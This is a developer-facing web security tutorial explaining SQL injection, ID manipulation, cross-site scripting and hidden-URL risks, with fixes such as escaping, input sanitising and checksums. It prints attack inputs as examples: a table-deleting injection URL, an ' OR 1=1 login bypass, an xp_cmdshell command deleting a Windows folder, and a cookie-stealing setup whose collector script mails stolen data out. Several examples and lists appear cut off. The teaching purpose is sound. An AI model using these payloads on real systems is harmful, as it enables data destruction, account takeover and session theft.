Paranoia should have limits in real life, but you can NEVER be too paranoid when thinking about your web application's security. If you've never given too much thought to it, then you REALLY need to read this. Chances are that someone could be deleting the contents of your database RIGHT NOW - and without even logging into your application!
I'll say this at the start and at the end: "NEVER fully trust anyone." That includes the other employees at your company, even the CEO. As a developer, you need to protect the users of your products from evildoers and also from themselves. To secure your applications, you need to first know your common vulnerabilities, so let's get started.
=== SQL INJECTION / MANIPULATION ===
Take a look at the following PHP code:
mysql_query("UPDATE accounts SET accountStatus='".$_GET["newStatus"]."' WHERE accountName='gr8gonzo';");
NOTE: This is just an example using PHP/MySQL, but can be found in just about any programming language.
Now, 99% of your users won't screw with your system. Let's say that the above script is called updateStatus.php and is called like this:
...but you WILL eventually have one user who just wants to ruin things. The user will try to re-run the script and change the "newStatus" so that the URL looks like:
http://www.domain.com/updateStatus.php?newStatus=';DELETE FROM accounts;UDPATE accounts SET accountStatus='
If you don't immediately realize what just happened, take a look at what actually ends up running:
mysql_query("UPDATE accounts SET accountsStatus='';DELETE FROM accounts;UDPATE accounts SET accountStatus='' WHERE accountName='gr8gonzo';");
Now, without this evildoer even having full access to your system, he/she can run ANY query he/she wants, just by putting it into the "newStatus" variable. If they ran the above URL, your entire "accounts" table would suddenly be empty! Hope you have a backup.
Some people would say that this isn't a big security problem because there's no way for the malicious user to know that your table is called accounts, or what the original query looks like. Those people will one day be fired or sued. not only could a malicious user easily be a recently-fired employee who saw the source code and is taking his/her revenge, but most systems don't lock out users when their queries fail. This means that a malicious user could easily guess over and over and over again. And face it, most of us have a tendency to use common names for our tables (accounts, contacts, leads, billing, etc), and it's easy enough to create scripts that will loop through all the possibilities. These scripts make it easy to also test for table names in foreign languages ("cuentas" instead of "accounts").
Your malicious user doesn't even need to be logged in, either. A lot of login scripts will simply run a query like this:
mysql_query("SELECT * FROM logins WHERE username='".$_POST["username"]."' AND password...etc...");
In this case, all you have to do is inject your code into your username field. In fact, this is an easy way to hack into systems without knowing the password. If the malicious user changed the "username" field to contain:
' OR 1=1;UPDATE logins SET username='blah' WHERE 1=0 AND '1
Your ending query would look like this:
mysql_query("SELECT * FROM logins WHERE username='' OR 1=1;UPDATE logins SET username='blah' WHERE 1=0 AND '1' AND password...etc...");
The most important part here is the "OR 1=1" - that technically is a valid condition for any database row, so the query would probably return the first row (which could very well be the "secret" administrator account). The rest of the query simply ensures that the contents of the table don't change (1=0 would never be true, so the UPDATE query would not affect any rows, but it would cleanly finish the rest of the query - you could also use UNION SELECT instead of running an UPDATE). Using this method, a malicious user could get into your administrator account at any time, without your password and without you ever knowing. Scary, eh?
Microsoft SQL Server users (and some other DBs) should be even more frightened by this. By default, most SQL Server installations allow a special procedure called xp_cmdshell to be run. That procedure will run any program on the server:
EXEC xp_cmdshell 'del /F /Q C:\WINDOWS';
That has potential to do some serious damage (if I recalled the syntax correctly), but there are far worse things (e.g. installation of programs called rootkits to take over your server). I've personally experienced the latter first hand and was unknowingly running a German movie-sharing FTP server. (The server eventually ran out of space, but everything was cleverly hidden, including the processes and files, which is why rootkits can be so dangerous.)
The sad truth is that there are TONS and TONS of scripts that don't do any sort of validation or escaping on values before using them in a database query. If someone can change any
value via a query string or via a modified form POST (both of which are trivial to do without changing anything on your site), then they have unauthorized, possibly-FULL access to your database.
So now the $64,000 question - how do I protect against SQL injection?
SQL injection is actually fairly easy to stop. It's just a matter of performing some validation/sanitation on your data before using it in a query. There are essentially two types of data - strings and numbers. Strings are usually encased in quotes, like this: WHERE name='John Smith' while numbers don't need quotes, like this: WHERE ID=123.
When your query encases a value in quotes, you'll want to "escape" the value. For examle, in PHP/MySQL, there is a function called mysql_real_escape_string()
. It works like this:
// Pretend we're trying to hack in
$maliciousUserName = "' OR 1=1'";
$_POST["username"] = $maliciousUserName;
// The real query
mysql_query("SELECT * FROM logins WHERE username='".mysql_real_escape_string($_POST["username"])."';");
// What it WOULD have looked like without escaping
mysql_query("SELECT * FROM logins WHERE username='' OR 1=1'';");
// What the query looks like WITH escaping
mysql_query("SELECT * FROM logins WHERE username='\' OR 1=1\'';");
With those escaping slashes, MySQL will look for a username that actually is called ' OR 1=1' instead of actually modifying the query itself and running something you didn't intend to be run.
Numbers are even easier to "clean" for use. My preferred way is to just run a regular expression that erases any non-numeric characters, like this:
$badNumber = "123 OR 1=1";
$cleanedNumber = preg_replace("/[^0-9]/","",$badNumber);
The preg_replace will strip out the " OR " and the "=" characters, since they aren't numbers, leaving "12311" behind, which is technically safe, but it's still susceptible to another problem - ID manipulation.
=== ID MANIPULATION ===
You should always be careful not to write queries that would give away information simply by changing the ID number. In the above example, if the query was going to display a phone number for a given ID, then a hacker could still mess with the numbers to be able to produce different IDs and see phone numbers that should not be shown. It might not be what the hacker originally wanted, but it could still be damaging.
However, that's more of a programming logic problem than something that can be fixed with data sanitation, but at least you're now aware of the problem!
One simple way to improve security on IDs is to add on a checksum. For example, let's say you had the following URL:
If someone just manually changes userID to 2, then... well, you see the problem. But let's add on something:
If you have logic that runs some sort of math formula that can convert 26 (or whatever the "c" value is) to 5 (or whatever the "userID" is), then your script can make sure the math is accurate before it allows the query to run. Here's a simple example:
// Function to create an extremely-simple checksum
return ($ID * 5) + 1;
// Use it to generate the URLs/links:
print "<a href='displayPhoneNumber.php?userID=".$userID."&c=".createChecksum($userID)."'>See the phone number</a>";
// An example link might look like:
// Before running the query...
if($_GET["c"] == createChecksum($_GET["userID"]))
// The checksum matches - go ahead and run the query in this code block.
// The checksum does NOT match! It could be a hacking attempt!
Now, the function I showed above is EXTREMELY simple. By seeing 2 or 3 more VALID links, a hacker could probably figure out the algorithm and then be able to change the IDs and checksums, so it would probably be a good idea to make your checksum a bit more complicated (the possibilities are endless, but incorporating letters and long checksums is a good idea).
=== CROSS-SITE SCRIPTING / XSS ===
When I first heard of cross-site scripting (XSS for short) attacks, I didn't think much of them. XSS is a bad thing to underestimate, though. But first, what IS XSS?
- Install trojan horses / viruses / rootkits
- Steal cookies
- Redirect the browser to (or pop up ads for) inappropriate web sites
- Crash the browser
If you aren't protected against XSS attacks, then chances are that a malicious user on your site could create problems for all sorts of people, including you. The next step in understanding XSS and knowing how to effectively protect against it is knowing HOW it works. Let's create an XSS attack that steals cookies. Stealing cookies can allow you to log into someone else's account without knowing their username or password. (NOTE: If you're going to try this yourself, then do it on your own web application. Don't test on other sites, or else you could be facing some real trouble.)
For this example, let's assuming I am a no-good evildoer, and you are the owner of a popular message board. So I have a web server at 220.127.116.11, and a PHP script on that server that does nothing but save information that is sent to it. It looks like this:
// Mail newly-stolen data to me
mail("email@example.com","I just stole some data!",print_r($_REQUEST,true));
<!-- This specific example relies on jQuery being installed -->
So now most people are wondering, well, why is stealing cookies desirable at all?
A lot (if not most) of all login systems use sessions to keep you logged in as you move from page to page. When you log in, the server creates a really long session ID that looks like:
It then stores this ID on the server's hard drive, and also gives the same session ID to your browser, which then stores the ID into a cookie.
This session ID is sort of like being a famous celebrity or a celebrity look-a-like. People just recognize you and won't even ask for any sort of picture ID or anything - they just let you into clubs or fancy restaurants and such because the people ASSUME that they know who you are. Of course, the downside is that if you LOOK like a celebrity, people will still assume (incorrectly) that they know who you are, and you'll get into places that you shouldn't be in.
Likewise, if you have a cookie with a session ID that the server recognizes as being a valid session ID, then it won't ask any questions - it will just let you in. You can test this out by logging into something in Firefox, then copying the cookie from Firefox into Internet Explorer (or any other browser on any computer), and then go to the same site in the second browser/computer. The second computer will automatically be logged in (as if it were already logged-in). The second computer is like a celebrity look-a-like. The server only sees a valid session ID - it doesn't care if the IP address is different or if the browser is different. If the session ID is valid, then that's all that matters.
So now you can see why stealing a cookie could be valuable. If the message board administrator were to log in and then see my message, I could take his/her cookie data, put it into a browser on my computer, and instantly be able to access all the secret, administrative areas of the site. I could probably also use my temporary, stolen privileges to simply make my own normal account into an administrator account, thus giving me far more, permanent access than I should have. (This is officially known as escalation of privileges.)
Voila - a full XSS attack, from start to finish.
1. Stop the attack from being successful
2. Stop the attack from even starting
#1. Stopping the attack from being successful
A more thorough approach is to use a separate domain when displaying any user content. For example, I have a web application at www.domain.com that lets users create forms. They can put in their own HTML to layout the forms, too, but if they click on a button to preview the form, the data is sent to a script on preview.domain.com, which displays the preview there. Why is this better?
Reason 1: Cookies are domain-specific. If I create a cookie on www.domain.com, it will not be available on preview.domain.com. This security setting is in most modern AND older browsers. (One exception to this is if the cookie is created on a domain without any "www" or other subdomain attached. These cookies will be accessible by any subdomains, so your application needs it, make sure you specify the domain in the cookie settings.)
#2. Stopping the attack from even starting
Data sanitation is the key here. This simply means that before your application does ANYTHING with data from GET and POST and so on, the application should process the data and erase what shouldn't be there.
I previously mentioned using a regular expression to erase any characters in an "ID" number that weren't digits. You can use the same methods to erase any weird characters that wouldn't appear in a first name, for example. So let's say you had a form that the user filled out with their contact information, including first name, and someone tried to put XSS into the first name field, like this:
Before your script does anything with the submitted data from the form:
$_POST["firstName"] = preg_replace("/[^a-zA-Z '\"\-\.]/","",$_POST["firstName"]);
Run sanitation on all your user-submitted data before using it, and you should secure yourself relatively well.
Be careful when doing research on XSS. On some of the sites, there be dragons.
=== VALIDATION ===
=== NEVER RELY ON UNLINKED URLS FOR PROTECTION ===
In the past, I've created some pages with some admin-type functionality and simply never linked to them. I figured that if I didn't publish the URL anywhere, there was no way to find it. I was wrong. There are a variety of ways to find "hidden" pages. One time, I had a co-worker bookmark the page. He used a special bookmark plugin to auto-share his bookmarks on his personal web page. Well, Google indexed his web page, saw the bookmark, and the "hidden" URL was now in Google. Never assume that a page's URL will stay hidden. Always protect sensitive pages.
=== TOOLS ===
I highly recommend using ParosProxy (free) to run a vulnerability scan on your web applications. There is a commercial spin-off of ParosProxy called Burp Professional Suite. I have no affiliation with it beyond being a user. Paros finds about 80% of the problems with my web applications, while Burp finds pretty much all of them. Still, ParosProxy is a good first step.
I also recommend using Firebug (a plugin for Firefox) - it's mostly a development tool, but can be used for security testing. There's also a Firefox plugin called POSTer that lets you send whatever data you want to a URL as if you submitted a form to that URL.
Congratulations, you're now prepared to secure your application and you're also now aware enough to know where and when to look for more security problems. As promised, I'll end with this: "NEVER fully trust anyone."